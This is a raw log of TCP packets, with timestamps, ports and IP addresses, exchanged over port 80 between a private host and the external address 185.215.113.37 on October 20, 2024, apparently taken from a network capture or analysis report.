Oct 20, 2024 23:43:04.991673946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991684914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991693974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.991693974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.991697073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991709948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991718054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.991722107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991733074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.991736889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991750956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991765022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991781950 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.991781950 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.991951942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.991954088 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992122889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992136955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992147923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992161036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992172003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992182016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992182016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992185116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992199898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992211103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992222071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992232084 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992232084 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992234945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992248058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992260933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992273092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992289066 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992290020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992321968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992321968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992482901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992494106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992506981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992522001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992533922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992552042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992552042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992614985 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992636919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992650032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992660046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992671967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992683887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992701054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992701054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992770910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992773056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992786884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992818117 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992908001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992918968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992929935 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.992954016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992954016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.992986917 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993015051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993026972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993037939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993050098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993087053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993087053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993128061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993139982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993153095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993165016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993187904 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993187904 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993251085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993258953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993271112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993283987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993294954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993334055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993334055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993376970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993390083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993400097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993413925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993452072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993452072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993503094 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993516922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993527889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993552923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993638039 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993652105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993664980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993675947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993689060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993700027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993710041 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993715048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993731022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993769884 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993769884 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993782043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993896008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993907928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993920088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993932009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993942976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993957043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.993967056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993967056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.993968964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994002104 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994002104 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994055033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994187117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994199038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994210958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994225025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994236946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994249105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994262934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994268894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994268894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994280100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994302988 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994302988 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994335890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994474888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994488001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994503021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994514942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994527102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994539022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994549990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994559050 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994559050 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994563103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994575024 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994577885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994596004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994636059 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994784117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994796991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994808912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994821072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994832993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994844913 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994851112 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994851112 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994858980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994869947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994904995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994904995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994904995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994916916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994929075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994941950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994951963 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994960070 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.994963884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994976997 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994987965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.994997978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995007992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995007992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995009899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995023966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995037079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995042086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995076895 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995076895 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995398998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995413065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995464087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995464087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995547056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995559931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995570898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995580912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995592117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995600939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995604992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995616913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995616913 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995630026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995644093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995655060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995661020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995665073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995665073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995676041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995686054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.995696068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995723009 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.995723009 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996223927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996251106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996263027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996294975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996305943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996306896 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996315002 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996319056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996334076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996360064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996360064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996392965 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996427059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996438026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996449947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996462107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996473074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996485949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996498108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996499062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996499062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996510029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996525049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996536970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996536970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996557951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996568918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996572018 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996581078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996592999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996607065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996613979 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996619940 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996633053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996645927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996649027 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996649027 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996687889 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996687889 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996710062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996722937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996738911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996752024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996762991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996774912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996786118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996795893 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996795893 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996798038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996813059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996824980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996826887 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996826887 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996838093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996875048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996875048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.996947050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996970892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996983051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.996993065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997006893 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997006893 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997019053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997031927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997035027 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997035027 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997061968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997061968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997088909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997100115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997111082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997122049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997133970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997144938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997153044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997153044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997160912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997180939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997219086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997364044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997376919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997389078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997400999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997412920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997423887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997435093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997442961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997442961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997447968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997464895 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997478008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997503042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997515917 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997528076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997539043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997550011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997560978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997570038 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997570038 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997572899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997587919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.997612000 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997612000 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.997725010 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:05.278825045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:05.285895109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:06.139775038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:06.139916897 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:06.191658974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:06.198188066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:07.042987108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:07.043360949 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:07.947171926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:07.952116013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:08.791979074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:08.792095900 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:09.994143963 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:09.999684095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339740992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339755058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339771032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339782953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339803934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339816093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339827061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339838982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339843988 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.339850903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339864969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339878082 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.339885950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339899063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339910984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.339929104 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.339941978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.533675909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533694029 CEST	80	49708	185.215.113.37	192.168.2.11
